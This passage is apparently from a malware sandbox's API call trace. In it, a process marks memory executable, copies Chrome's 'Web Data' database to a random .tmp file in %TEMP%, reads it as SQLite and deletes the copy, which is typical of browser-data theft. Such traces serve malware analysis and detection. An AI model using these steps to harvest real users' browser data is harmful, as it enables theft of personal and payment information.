OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x411000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x411000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.783] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb444, cbMultiByte=8, lpWideCharStr=0x1e7de738, cchWideChar=2047 | out: lpWideCharStr="Web Datab Data}ꇨῤ") returned 8 [0163.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.785] GetTickCount () returned 0x115c1f8 [0163.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.785] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df5e5, cbMultiByte=8, lpWideCharStr=0x1e7de5bc, cchWideChar=2047 | out: lpWideCharStr="18203128E\x09\x07") returned 8 [0163.785] SysReAllocStringLen (in: pbstr=0x1e7df734*=0x0, psz="18203128", len=0x8 | out: pbstr=0x1e7df734*="18203128") returned 1 [0163.785] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df6a8 | out: lpPerformanceCount=0x1e7df6a8*=24201843665) returned 1 [0163.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.786] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df5a9, cbMultiByte=4, lpWideCharStr=0x1e7de580, cchWideChar=2047 | out: lpWideCharStr="9079஼Ḫṽ\x10") returned 4 [0163.786] SysReAllocStringLen (in: pbstr=0x1e7df6d8*=0x0, psz="9079", len=0x4 | out: pbstr=0x1e7df6d8*="9079") returned 1 [0163.786] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df5a5, cbMultiByte=4, lpWideCharStr=0x1e7de57c, cchWideChar=2047 | out: lpWideCharStr="242779஼Ḫṽ\x10") returned 4 [0163.786] SysReAllocStringLen (in: pbstr=0x1e7df6d4*=0x0, psz="2427", len=0x4 | out: pbstr=0x1e7df6d4*="2427") returned 1 [0163.786] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df5a1, cbMultiByte=4, lpWideCharStr=0x1e7de578, cchWideChar=2047 | out: lpWideCharStr="54422779஼Ḫṽ\x10") returned 4 [0163.786] SysReAllocStringLen (in: pbstr=0x1e7df6d0*=0x0, psz="5442", len=0x4 | out: pbstr=0x1e7df6d0*="5442") returned 1 [0163.786] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df59d, cbMultiByte=4, lpWideCharStr=0x1e7de574, cchWideChar=2047 | out: lpWideCharStr="3543422779஼Ḫṽ\x10") returned 4 [0163.786] SysReAllocStringLen (in: pbstr=0x1e7df6cc*=0x0, psz="3543", len=0x4 | out: pbstr=0x1e7df6cc*="3543") returned 1 [0163.786] SysReAllocStringLen (in: pbstr=0x1e7df73c*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x49 | out: pbstr=0x1e7df73c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0163.786] SysReAllocStringLen (in: pbstr=0x1e7df6e0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x49 | out: pbstr=0x1e7df6e0*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0163.787] SysReAllocStringLen (in: pbstr=0x1e7df73c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", len=0x49 | out: pbstr=0x1e7df73c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data") returned 1 [0163.787] SysReAllocStringLen (in: pbstr=0x1e7df6dc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x48 | out: pbstr=0x1e7df6dc*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0163.787] SysReAllocStringLen (in: pbstr=0x1e7df73c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Web Data", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x48 | out: pbstr=0x1e7df73c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0163.787] SysReAllocStringLen (in: pbstr=0x1e7df6d8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x48 | out: pbstr=0x1e7df6d8*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0163.787] SysReAllocStringLen (in: pbstr=0x1e7df73c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", len=0x48 | out: pbstr=0x1e7df73c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 1 [0163.787] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x1ff01564, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x25 [0163.787] SysReAllocStringLen (in: pbstr=0x1e7df738*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", len=0x41 | out: pbstr=0x1e7df738*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp") returned 1 [0163.787] SysReAllocStringLen (in: pbstr=0x1e7df6e0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", len=0x41 | out: pbstr=0x1e7df6e0*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp") returned 1 [0163.787] SysReAllocStringLen (in: pbstr=0x1e7df738*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", len=0x41 | out: pbstr=0x1e7df738*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp") returned 1 [0163.788] SysReAllocStringLen (in: pbstr=0x1e7df6dc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", len=0x41 | out: pbstr=0x1e7df6dc*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp") returned 1 [0163.788] SysReAllocStringLen (in: pbstr=0x1e7df738*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", len=0x41 | out: pbstr=0x1e7df738*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp") returned 1 [0163.788] SysReAllocStringLen (in: pbstr=0x1e7df6d8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", len=0x41 | out: pbstr=0x1e7df6d8*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp") returned 1 [0163.788] SysReAllocStringLen (in: pbstr=0x1e7df738*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", len=0x41 | out: pbstr=0x1e7df738*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp") returned 1 [0163.788] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\web data"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031289079242754423543.tmp"), bFailIfExists=1) returned 1 [0163.797] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", cchWideChar=65, lpMultiByteStr=0x1e7de6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp\x01[", lpUsedDefaultChar=0x0) returned 65 [0163.797] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2714, cbMultiByte=65, lpWideCharStr=0x1e7de6bc, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp῰DaQ") returned 65 [0163.798] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcfeb80, cbMultiByte=65, lpWideCharStr=0x1e7de6dc, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp") returned 65 [0163.798] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031289079242754423543.tmp")) returned 0x2020 [0163.799] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0163.799] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp") returned 66 [0163.799] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0163.799] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", nBufferLength=0x45, lpBuffer=0x1fe03d30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", lpFilePart=0x0) returned 0x41 [0163.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0163.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", cchWideChar=-1, lpMultiByteStr=0x1fe181a0, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp", lpUsedDefaultChar=0x0) returned 66 [0163.799] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0163.800] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp") returned 66 [0163.800] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031289079242754423543.tmp"), fInfoLevelId=0x0, lpFileInformation=0x1e7df4f8 | out: lpFileInformation=0x1e7df4f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5eafe40, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa5eafe40, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xb85fea0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0163.800] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031289079242754423543.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c [0163.800] ReadFile (in: hFile=0x66c, lpBuffer=0x1e7df628, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x1e7df5ec, lpOverlapped=0x1e7df5b0 | out: lpBuffer=0x1e7df628*, lpNumberOfBytesRead=0x1e7df5ec*=0x64, lpOverlapped=0x1e7df5b0) returned 1 [0163.801] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0163.805] LockFileEx (in: hFile=0x66c, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de9b0 | out: lpOverlapped=0x1e7de9b0) returned 1 [0163.805] LockFileEx (in: hFile=0x66c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7de9a4 | out: lpOverlapped=0x1e7de9a4) returned 1 [0163.805] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de9b4 | out: lpOverlapped=0x1e7de9b4) returned 1 [0163.805] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0163.805] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x1fe2b020, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp-journal") returned 74 [0163.805] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp-journal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031289079242754423543.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de9b0 | out: lpFileInformation=0x1e7de9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.805] GetLastError () returned 0x2 [0163.806] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0163.806] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp-wal") returned 70 [0163.806] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031289079242754423543.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7de9c8 | out: lpFileInformation=0x1e7de9c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.806] GetLastError () returned 0x2 [0163.806] GetFileSize (in: hFile=0x66c, lpFileSizeHigh=0x1e7de9f4 | out: lpFileSizeHigh=0x1e7de9f4*=0x0) returned 0x10000 [0163.806] ReadFile (in: hFile=0x66c, lpBuffer=0x1fe7d3e0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x1e7de9d0, lpOverlapped=0x1e7de994 | out: lpBuffer=0x1fe7d3e0*, lpNumberOfBytesRead=0x1e7de9d0*=0x800, lpOverlapped=0x1e7de994) returned 1 [0163.806] ReadFile (in: hFile=0x66c, lpBuffer=0x1fe7cb40, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x1e7de6e8, lpOverlapped=0x1e7de6ac | out: lpBuffer=0x1fe7cb40*, lpNumberOfBytesRead=0x1e7de6e8*=0x800, lpOverlapped=0x1e7de6ac) returned 1 [0163.815] ReadFile (in: hFile=0x66c, lpBuffer=0x1fe7c2a0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x1e7de6b8, lpOverlapped=0x1e7de67c | out: lpBuffer=0x1fe7c2a0*, lpNumberOfBytesRead=0x1e7de6b8*=0x800, lpOverlapped=0x1e7de67c) returned 1 [0163.816] ReadFile (in: hFile=0x66c, lpBuffer=0x1fe7ba00, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x1e7de6b8, lpOverlapped=0x1e7de67c | out: lpBuffer=0x1fe7ba00*, lpNumberOfBytesRead=0x1e7de6b8*=0x800, lpOverlapped=0x1e7de67c) returned 1 [0163.816] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de6b0 | out: lpOverlapped=0x1e7de6b0) returned 1 [0163.816] LockFileEx (in: hFile=0x66c, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df380 | out: lpOverlapped=0x1e7df380) returned 1 [0163.816] LockFileEx (in: hFile=0x66c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df374 | out: lpOverlapped=0x1e7df374) returned 1 [0163.816] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df384 | out: lpOverlapped=0x1e7df384) returned 1 [0163.816] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0163.816] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x1fe30160, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp-journal") returned 74 [0163.816] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp-journal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031289079242754423543.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x1e7df380 | out: lpFileInformation=0x1e7df380*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.816] GetLastError () returned 0x2 [0163.816] ReadFile (in: hFile=0x66c, lpBuffer=0x1e7df404, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x1e7df3ec, lpOverlapped=0x1e7df3b0 | out: lpBuffer=0x1e7df404*, lpNumberOfBytesRead=0x1e7df3ec*=0x10, lpOverlapped=0x1e7df3b0) returned 1 [0163.816] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0163.816] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03e50, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp-wal") returned 70 [0163.816] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031289079242754423543.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7df398 | out: lpFileInformation=0x1e7df398*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0163.816] GetLastError () returned 0x2 [0163.817] GetFileSize (in: hFile=0x66c, lpFileSizeHigh=0x1e7df3c4 | out: lpFileSizeHigh=0x1e7df3c4*=0x0) returned 0x10000 [0163.817] ReadFile (in: hFile=0x66c, lpBuffer=0x1fe7b160, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x1e7df3b8, lpOverlapped=0x1e7df37c | out: lpBuffer=0x1fe7b160*, lpNumberOfBytesRead=0x1e7df3b8*=0x800, lpOverlapped=0x1e7df37c) returned 1 [0163.817] UnlockFileEx (in: hFile=0x66c, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df368 | out: lpOverlapped=0x1e7df368) returned 1 [0163.817] CloseHandle (hObject=0x66c) returned 1 [0163.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x410000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.841] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.841] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182031289079242754423543.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182031289079242754423543.tmp")) returned 1 [0163.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, 